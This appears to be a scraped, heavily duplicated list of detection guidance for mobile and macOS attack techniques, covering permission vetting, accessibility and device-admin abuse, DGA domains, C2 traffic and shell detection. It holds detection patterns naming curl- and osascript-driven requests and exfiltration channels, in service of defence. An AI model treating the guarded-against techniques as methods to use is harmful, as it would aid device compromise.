Observation of scripted network requests (e.g., using osascript, curl, or python) that include mismatched or spoofed browser User-Agent strings compared to the typical macOS Safari or Chrome baseline, especially when triggered by non-interactive launch agents, login hooks, or background daemons.
Current version: 1.0
Description:
Application vetting services may detect API calls to performGlobalAction(int).
+The user can view a list of device administrators and applications that have registered accessibility services in device settings. The user can typically visually see when an action happens that they did not initiate and can subsequently review installed applications for any out of place or unknown ones. Applications that register an accessibility service or request device administrator permissions should be scrutinized further for malicious behavior.
Current version: 1.0
Description:
The user can view the default SMS handler in system settings.
Current version: 1.0
Description:
Application vetting services could look for the Android permission android.permission.QUERY_ALL_PACKAGES, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API LSApplicationWorkspace and apply extra scrutiny to applications that employ it.
Current version: 1.0
Description:
Application vetting services could look for the Android permission android.permission.QUERY_ALL_PACKAGES, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API LSApplicationWorkspace and apply extra scrutiny to applications that employ it.
Current version: 1.0
Description:
System information discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
System information discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Application vetting services could look for android.permission.READ_CALL_LOG in an Android application’s manifest. Most applications do not need call log access, so extra scrutiny could be applied to those that request it.
+On Android, the user can manage which applications have permission to access the call log through the device settings screen, revoking the permission if necessary.
Current version: 1.0
Description:
Application vetting services could look for android.permission.READ_CALL_LOG in an Android application’s manifest. Most applications do not need call log access, so extra scrutiny could be applied to those that request it.
+On Android, the user can manage which applications have permission to access the call log through the device settings screen, revoking the permission if necessary.
Current version: 1.0
Description:
The user can view a list of device administrators in device settings and revoke permission where appropriate. Applications that request device administrator permissions should be scrutinized further for malicious behavior.
Current version: 1.0
Description:
Integrity checking mechanisms can potentially detect unauthorized hardware modifications.
Current version: 1.0
Description:
Integrity checking mechanisms can potentially detect unauthorized hardware modifications.
Current version: 1.0
Description:
Application vetting services could closely scrutinize applications that request Device Administrator permissions.
Current version: 1.0
Description:
The user can view a list of device administrators and applications that have registered Accessibility services in device settings. Applications that register an Accessibility service or request device administrator permissions should be scrutinized further for malicious behavior. +Application vetting services can look for applications that request permissions to Accessibility services or application overlay. +Monitor for API calls that are related to GooglePlayServices.
Current version: 1.0
Description:
Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. +Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to newly created processes and their parameters, potentially detecting unwanted or malicious shells. +Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense) +Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to running processes and their parameters, potentially detecting unwanted or malicious shells.
Current version: 1.0
Description:
Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. +Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to newly created processes and their parameters, potentially detecting unwanted or malicious shells. +Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense) +Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to running processes and their parameters, potentially detecting unwanted or malicious shells.
Current version: 1.0
Description:
On Android, the user can review which applications can use premium SMS features in the "Special access" page within application settings.
+Application vetting services can detect when applications request the SEND_SMS permission, which should be infrequently used.
Current version: 1.0
Description:
On Android, the user can review which applications can use premium SMS features in the "Special access" page within application settings.
+Application vetting services can detect when applications request the SEND_SMS permission, which should be infrequently used.
Current version: 1.0
Description:
Unexpected behavior from an application could be an indicator of masquerading. +Application vetting services may potentially determine if an application contains suspicious code and/or metadata.
Current version: 1.0
Description:
Unexpected behavior from an application could be an indicator of masquerading. +Application vetting services may potentially determine if an application contains suspicious code and/or metadata.
Current version: 1.0
Description:
Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. +Many properly configured firewalls may naturally block one-way command and control traffic.
Current version: 1.0
Description:
Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. +Many properly configured firewalls may naturally block one-way command and control traffic.
Current version: 1.0
Description:
The user can also inspect and modify the list of applications that have notification access through the device settings (e.g. Apps & notification -> Special app access -> Notification access).
+Application vetting services can look for applications requesting the BIND_NOTIFICATION_LISTENER_SERVICE permission in a service declaration.
Current version: 1.0
Description:
The user can view applications that have registered accessibility services in the accessibility menu within the device settings.
Current version: 1.0
Description:
Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.
Current version: 1.0
Description:
Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.
Current version: 1.0
Description:
Mobile security products can often alert the user if their device is vulnerable to known exploits.
Current version: 1.0
Description:
Mobile security products can often alert the user if their device is vulnerable to known exploits.
Current version: 1.0
Description:
Exfiltration Over C2 Channel can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Exfiltration Over C2 Channel can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Application vetting services could look for applications attempting to get android.os.SystemProperties or getprop with the runtime exec() commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.
Current version: 1.0
Description:
Application vetting services could look for applications attempting to get android.os.SystemProperties or getprop with the runtime exec() commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.
Current version: 1.0
Description:
Many properly configured firewalls may naturally block command and control traffic. +Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.
Current version: 1.0
Description:
Many properly configured firewalls may naturally block command and control traffic. +Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.
Current version: 1.0
Description:
Application vetting services may be able to list domains and/or IP addresses that applications communicate with.
+Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious.
+Application vetting services could look for indications that the application downloads and executes new code at runtime (e.g., on Android, use of DexClassLoader, System.load, or the WebView JavaScriptInterface capability; on iOS, use of JSPatch or similar capabilities).
Current version: 1.0
Description:
Application vetting services may be able to list domains and/or IP addresses that applications communicate with.
+Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious.
+Application vetting services could look for indications that the application downloads and executes new code at runtime (e.g., on Android, use of DexClassLoader, System.load, or the WebView JavaScriptInterface capability; on iOS, use of JSPatch or similar capabilities).
Current version: 1.0
Description:
On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications.
+On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.
Current version: 1.0
Description:
On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications.
+On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.
Current version: 1.0
Description:
Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Application vetting services could detect when applications store data insecurely, for example, in unprotected external storage.
Current version: 1.0
Description:
Application vetting services could detect when applications store data insecurely, for example, in unprotected external storage.
Current version: 1.0
Description:
Application vetting services could look for misuse of dynamic libraries.
Current version: 1.0
Description:
Application vetting services could look for misuse of dynamic libraries.
Current version: 1.0
Description:
Mobile security products can potentially detect rogue Wi-Fi access points if the adversary is attempting to decrypt traffic using an untrusted SSL certificate. +Application vetting services should look for applications that request VPN access. These applications should be heavily scrutinized since VPN functionality is not very common. +On both Android and iOS, the user must grant consent to an application to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is active. The user can see registered VPN services in the device settings.
Current version: 1.0
Description:
Mobile security products can potentially detect rogue Wi-Fi access points if the adversary is attempting to decrypt traffic using an untrusted SSL certificate. +Application vetting services should look for applications that request VPN access. These applications should be heavily scrutinized since VPN functionality is not very common. +On both Android and iOS, the user must grant consent to an application to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is active. The user can see registered VPN services in the device settings.
Current version: 1.0
Description:
Remote access software typically requires many privileged permissions, such as accessibility services or device administrator.
Current version: 1.0
Description:
Remote access software typically requires many privileged permissions, such as accessibility services or device administrator.
Current version: 1.0
Description:
Application vetting services could look for applications attempting to get android.os.SystemProperties or getprop with the runtime exec() commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.
Current version: 1.0
Description:
Application vetting services could look for applications attempting to get android.os.SystemProperties or getprop with the runtime exec() commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.
Current version: 1.0
Description:
When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice. (Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks) +On Android, users may be presented with a popup to select the appropriate application to open the URI in. If the user sees an application they do not recognize, they can remove it.
Current version: 1.0
Description:
When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice. (Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks) +On Android, users may be presented with a popup to select the appropriate application to open the URI in. If the user sees an application they do not recognize, they can remove it.
Current version: 1.0
Description:
On Android, the user can review which applications have Device Administrator access in the device settings and revoke permission where appropriate. +Application vetting services can detect and closely scrutinize applications that utilize Device Administrator access.
Current version: 1.0
Description:
On Android, the user can review which applications have Device Administrator access in the device settings and revoke permission where appropriate. +Application vetting services can detect and closely scrutinize applications that utilize Device Administrator access.
Current version: 1.0
Description:
Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.
Current version: 1.0
Description:
Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.
Current version: 1.0
Description:
Network traffic analysis may reveal processes communicating with malicious domains.
Current version: 1.0
Description:
Network traffic analysis may reveal processes communicating with malicious domains.
Current version: 1.0
Description:
The user is prompted for approval when an application requests device administrator permissions.
+Application vetting services can check for the string BIND_DEVICE_ADMIN in the application’s manifest. This indicates it can prompt the user for device administrator permissions.
+The user can see which applications are registered as device administrators in the device settings.
Current version: 1.0
Description:
Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.
Current version: 1.0
Description:
Application vetting services could look for misuse of dynamic libraries.
Current version: 1.0
Description:
Application vetting services could look for misuse of dynamic libraries.
Current version: 1.0
Description:
Application vetting services may be able to detect known privilege escalation exploits contained within applications, as well as searching application packages for strings that correlate to known password store locations. +Mobile security products can potentially detect jailbroken devices.
Current version: 1.0
Description:
Application vetting services could look for usage of the READ_PRIVILEGED_PHONE_STATE Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.
Current version: 1.0
Description:
Application vetting services could look for usage of the READ_PRIVILEGED_PHONE_STATE Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.
Current version: 1.0
Description:
Monitor for API calls that are related to the AccountManager API on Android and Keychain services on iOS.
+Application vetting services may look for MANAGE_ACCOUNTS in an Android application’s manifest. Most applications do not need access to accounts, so extra scrutiny may be applied to those that request it.
Current version: 1.0
Description:
Monitor for API calls that are related to the AccountManager API on Android and Keychain services on iOS.
+Application vetting services may look for MANAGE_ACCOUNTS in an Android application’s manifest. Most applications do not need access to accounts, so extra scrutiny may be applied to those that request it.
Current version: 1.0
Description:
System Network Connections Discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
The user can see persistent notifications in their notification drawer and can subsequently uninstall applications that do not belong.
+Applications could be vetted for their use of the startForeground() API, and could be further scrutinized if usage is found.
Current version: 1.0
Description:
Mobile security products can detect which applications can request device administrator permissions. Application vetting services could be extra scrutinous of applications that request device administrator permissions. +The user can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing.
Current version: 1.0
Description:
Unexpected loss of radio signal could indicate that a device is being actively jammed.
Current version: 1.0
Description:
Unexpected loss of radio signal could indicate that a device is being actively jammed.
Current version: 1.0
Description:
Application vetting services could potentially detect the usage of APIs intended for artifact hiding. +The user can examine the list of all installed applications in the device settings.
Current version: 1.0
Description:
Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.
Current version: 1.0
Description:
Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.
Current version: 1.0
Description:
Application vetting services can detect when an application requests administrator permission. +When an application requests administrator permission, the user is presented with a popup and the option to grant or deny the request.
Current version: 1.0
Description:
Application vetting services could detect usage of standard clipboard APIs.
Current version: 1.0
Description:
Application vetting services could detect usage of standard clipboard APIs.
Current version: 1.0
Description:
Application vetting services could look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because as legitimate software may use packing techniques to reduce binary size or to protect proprietary code.
Current version: 1.0
Description:
Application vetting services could look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because as legitimate software may use packing techniques to reduce binary size or to protect proprietary code.
Current version: 1.0
Description:
Mobile security products can often alert the user if their device is vulnerable to known exploits.
Current version: 1.0
Description:
Mobile security products can often alert the user if their device is vulnerable to known exploits.
Current version: 1.0
Description:
Application vetting services can detect certificate pinning by examining an application’s network_security_config.xml file, although this behavior can be benign.
Current version: 1.0
Description:
Application vetting services can detect certificate pinning by examining an application’s network_security_config.xml file, although this behavior can be benign.
Current version: 1.0
Description:
Application vetting services can detect which broadcast intents an application registers for and which permissions it requests.
Current version: 1.0
Description:
Application vetting services can detect unnecessary and potentially abused location permissions. +On Android 10 and later, the system shows a notification to the user when an app has been accessing device location in the background. +Application vetting services can detect unnecessary and potentially abused API calls. +The user can review which applications have location permissions in the operating system’s settings menu.
Current version: 1.0
Description:
Application vetting services can detect unnecessary and potentially abused location permissions. +On Android 10 and later, the system shows a notification to the user when an app has been accessing device location in the background. +Application vetting services can detect unnecessary and potentially abused API calls. +The user can review which applications have location permissions in the operating system’s settings menu.
Current version: 1.0
Description:
This behavior is seamless to the user and is typically undetectable.
Current version: 1.0
Description:
Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.
Current version: 1.0
Description:
Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.
Current version: 1.0
Description:
Mobile security products can detect which applications can request device administrator permissions. Application vetting services could look for use of APIs that could indicate the application is trying to hide activity. +The user can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. The user can see a list of applications that can use accessibility services in the device settings.
Current version: 1.0
Description:
Mobile security products can detect which applications can request device administrator permissions. Application vetting services could look for use of APIs that could indicate the application is trying to hide activity. +The user can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. The user can see a list of applications that can use accessibility services in the device settings.
Current version: 1.0
Description:
Application vetting services may detect when an application requests permissions after an application update. +Application vetting services may look for indications that the application’s update includes malicious code at runtime. +Application vetting services may be able to list domains and/or IP addresses that applications communicate with.
Current version: 1.0
Description:
Application vetting services may detect when an application requests permissions after an application update. +Application vetting services may look for indications that the application’s update includes malicious code at runtime. +Application vetting services may be able to list domains and/or IP addresses that applications communicate with.
Current version: 1.0
Description:
The user can review which applications have location and sensitive phone information permissions in the operating system’s settings menu. +Application vetting services can detect unnecessary and potentially abused API calls. +Application vetting services can detect unnecessary and potentially abused permissions.
Current version: 1.0
Description:
The user can review which applications have location and sensitive phone information permissions in the operating system’s settings menu. +Application vetting services can detect unnecessary and potentially abused API calls. +Application vetting services can detect unnecessary and potentially abused permissions.
Current version: 1.0
Description:
On Android, Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android's SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromise devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices.
Current version: 1.0
Description:
On Android, Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android's SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromise devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices.
Current version: 1.0
Description:
Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. +Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to newly created processes and their parameters, potentially detecting unwanted or malicious shells. +Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense) +Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to running processes and their parameters, potentially detecting unwanted or malicious shells.
Current version: 1.0
Description:
Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. +Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to newly created processes and their parameters, potentially detecting unwanted or malicious shells. +Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense) +Mobile Threat Defense (MTD) with lower-level OS APIs integrations may have access to running processes and their parameters, potentially detecting unwanted or malicious shells.
Current version: 1.0
Description:
When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice.(Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks) +On Android, users may be presented with a popup to select the appropriate application to open a URI in. If the user sees an application they do not recognize, they can remove it.
Current version: 1.0
Description:
When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice.(Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks) +On Android, users may be presented with a popup to select the appropriate application to open a URI in. If the user sees an application they do not recognize, they can remove it.
Current version: 1.0
Description:
On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications.
+On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.
Current version: 1.0
Description:
On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications.
+On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.
Current version: 1.0
Description:
The OS may show a notification to the user that the SIM card has been transferred to another device.
Current version: 1.0
Description:
The OS may show a notification to the user that the SIM card has been transferred to another device.
Current version: 1.0
Description:
No standard detection method currently exists for this technique.
Current version: 1.0
Description:
Application vetting services could look for use of standard APIs (e.g. the clipboard API) that could indicate data manipulation is occurring.
Current version: 1.0
Description:
Application vetting services can look for applications requesting the android.permission.BIND_ACCESSIBILITY_SERVICE permission in a service declaration. On Android, the user can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions.
+On Android, the user can view and manage which applications have third-party keyboard access through the device settings in System -> Languages & input -> Virtual keyboard. On iOS, the user can view and manage which applications have third-party keyboard access through the device settings in General -> Keyboard.
Current version: 1.0
Description:
Application vetting services can look for applications requesting the android.permission.BIND_ACCESSIBILITY_SERVICE permission in a service declaration. On Android, the user can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions.
+On Android, the user can view and manage which applications have third-party keyboard access through the device settings in System -> Languages & input -> Virtual keyboard. On iOS, the user can view and manage which applications have third-party keyboard access through the device settings in General -> Keyboard.
Current version: 1.0
Description:
Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC5-WG10-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.
Current version: 1.0
Description:
Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC5-WG10-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.
Current version: 1.0
Description:
Network traffic analysis could reveal patterns of compromise if devices attempt to access unusual targets or resources. +Application vetting may be able to identify applications that perform Discovery or utilize existing connectivity to remotely access hosts within an internal enterprise network.
Current version: 1.0
Description:
Network traffic analysis could reveal patterns of compromise if devices attempt to access unusual targets or resources. +Application vetting may be able to identify applications that perform Discovery or utilize existing connectivity to remotely access hosts within an internal enterprise network.
Current version: 1.0
Description:
Mobile security products can potentially detect jailbroken devices. +Application vetting services may be able to detect known privilege escalation exploits contained within applications, as well as searching application packages for strings that correlate to known password store locations.
Current version: 1.0
Description:
Mobile security products can potentially utilize device APIs to determine if a device has been rooted or jailbroken. +Application vetting services could potentially determine if an application contains code designed to exploit vulnerabilities.
Current version: 1.0
Description:
Mobile security products can potentially utilize device APIs to determine if a device has been rooted or jailbroken. +Application vetting services could potentially determine if an application contains code designed to exploit vulnerabilities.
Current version: 1.0
Description:
Mobile security products can often alert the user if their device is vulnerable to known exploits.
Current version: 1.0
Description:
Mobile security products can often alert the user if their device is vulnerable to known exploits.
Current version: 1.0
Description:
Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.
Current version: 1.0
Description:
Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.
Current version: 1.0
Description:
Application vetting services can look for the use of the Android MediaProjectionManager class, applying extra scrutiny to applications that use the class.
+The user can view a list of apps with accessibility service privileges in the device settings.
Current version: 1.0
Description:
Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.
Current version: 1.0
Description:
Monitor for pseudo-randomly generated domain names based on frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) Additionally, check if the suspicious domain has been recently registered, if it has been rarely visited, or if the domain had a spike in activity after being dormant.(Citation: unit42_strat_aged_domain_det) Content delivery network (CDN) domains may trigger these detections due to the format of their domain names.
Current version: 1.0
Description:
Many encryption mechanisms are built into standard application-accessible APIs and are therefore undetectable to the end user.
Current version: 1.0
Description:
Many encryption mechanisms are built into standard application-accessible APIs and are therefore undetectable to the end user.
Current version: 1.0
Description:
The user may view applications with administrator access through the device settings and may also notice if user data is inexplicably missing.
+Command-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting file deletion processes.
+The user is prompted for approval when an application requests device administrator permissions.
+Application vetting services may detect API calls for deleting files.
+Mobile security products can detect which applications can request device administrator permissions. Application vetting services could be extra scrutinous of applications that request device administrator permissions.
Current version: 1.0
Description:
Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. +Many properly configured firewalls may naturally block command and control traffic.
Current version: 1.0
Description:
Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. +Many properly configured firewalls may naturally block command and control traffic.
Current version: 1.0
Description:
In iOS 14 and up, an orange dot (or orange square if the Differentiate Without Color setting is enabled) appears in the status bar when the microphone is being used by an application. However, there have been demonstrations indicating it may still be possible to access the microphone in the background without triggering this visual indicator by abusing features that natively access the microphone or camera but do not trigger the visual indicators.(Citation: iOS Mic Spyware)
+In Android 12 and up, a green dot appears in the status bar when the microphone is being used by an application.(Citation: Android Privacy Indicators)
+Android applications using the RECORD_AUDIO permission and iOS applications using RequestRecordPermission should be carefully reviewed and monitored. If the CAPTURE_AUDIO_OUTPUT permission is found in a third-party Android application, the application should be heavily scrutinized.
In both Android (6.0 and up) and iOS, the user can review which applications have the permission to access the microphone through the device settings screen and revoke permissions as necessary.
Current version: 1.0
Description:
In iOS 14 and up, an orange dot (or orange square if the Differentiate Without Color setting is enabled) appears in the status bar when the microphone is being used by an application. However, there have been demonstrations indicating it may still be possible to access the microphone in the background without triggering this visual indicator by abusing features that natively access the microphone or camera but do not trigger the visual indicators.(Citation: iOS Mic Spyware)
+In Android 12 and up, a green dot appears in the status bar when the microphone is being used by an application.(Citation: Android Privacy Indicators)
+Android applications using the RECORD_AUDIO permission and iOS applications using RequestRecordPermission should be carefully reviewed and monitored. If the CAPTURE_AUDIO_OUTPUT permission is found in a third-party Android application, the application should be heavily scrutinized.
In both Android (6.0 and up) and iOS, the user can review which applications have the permission to access the microphone through the device settings screen and revoke permissions as necessary.
Current version: 1.0
Description:
Application vetting services could look for android.permission.READ_CALENDAR or android.permission.WRITE_CALENDAR in an Android application’s manifest, or NSCalendarsUsageDescription in an iOS application’s Info.plist file. Most applications do not need calendar access, so extra scrutiny could be applied to those that request it.
+On both Android and iOS, the user can manage which applications have permission to access calendar information through the device settings screen, revoke the permission if necessary.
Current version: 1.0
Description:
Application vetting services could look for android.permission.READ_CALENDAR or android.permission.WRITE_CALENDAR in an Android application’s manifest, or NSCalendarsUsageDescription in an iOS application’s Info.plist file. Most applications do not need calendar access, so extra scrutiny could be applied to those that request it.
+On both Android and iOS, the user can manage which applications have permission to access calendar information through the device settings screen, revoke the permission if necessary.
Current version: 1.0
Description:
In both Android (6.0 and up) and iOS, the user can view which applications have the permission to access the device location through the device settings screen and revoke permissions as necessary.
+Android applications requesting the ACCESS_COARSE_LOCATION, ACCESS_FINE_LOCATION, or ACCESS_BACKGROUND_LOCATION permissions and iOS applications including the NSLocationWhenInUseUsageDescription, NSLocationAlwaysAndWhenInUseUsageDescription, and/or NSLocationAlwaysUsageDescription keys in their Info.plist file could be scrutinized during the application vetting process.
Current version: 1.0
Description:
In both Android (6.0 and up) and iOS, the user can view which applications have the permission to access the device location through the device settings screen and revoke permissions as necessary.
+Android applications requesting the ACCESS_COARSE_LOCATION, ACCESS_FINE_LOCATION, or ACCESS_BACKGROUND_LOCATION permissions and iOS applications including the NSLocationWhenInUseUsageDescription, NSLocationAlwaysAndWhenInUseUsageDescription, and/or NSLocationAlwaysUsageDescription keys in their Info.plist file could be scrutinized during the application vetting process.
Current version: 1.0
Description:
An Android user can view and manage which applications hold the SYSTEM_ALERT_WINDOW permission through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions).
+Application vetting services can look for applications requesting the android.permission.SYSTEM_ALERT_WINDOW permission in the list of permissions in the app manifest.
Current version: 1.0
Description:
An Android user can view and manage which applications hold the SYSTEM_ALERT_WINDOW permission through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions).
+Application vetting services can look for applications requesting the android.permission.SYSTEM_ALERT_WINDOW permission in the list of permissions in the app manifest.
Current version: 1.0
Description:
Detection of steganography is difficult unless detectable artifacts with a known signature are left behind by the obfuscation process. Look for strings are other signatures left in system artifacts related to decoding steganography.
Current version: 1.0
Description:
Application vetting services may be able to detect if an application attempts to encrypt files, although this may be benign behavior.
Current version: 1.0
Description:
Application vetting services could look for android.permission.READ_CONTACTS in an Android application’s manifest, or NSContactsUsageDescription in an iOS application’s Info.plist file. Most applications do not need contact list access, so extra scrutiny could be applied to those that request it.
+On both Android and iOS, the user can manage which applications have permission to access the contact list through the device settings screen, revoking the permission if necessary.
Current version: 1.0
Description:
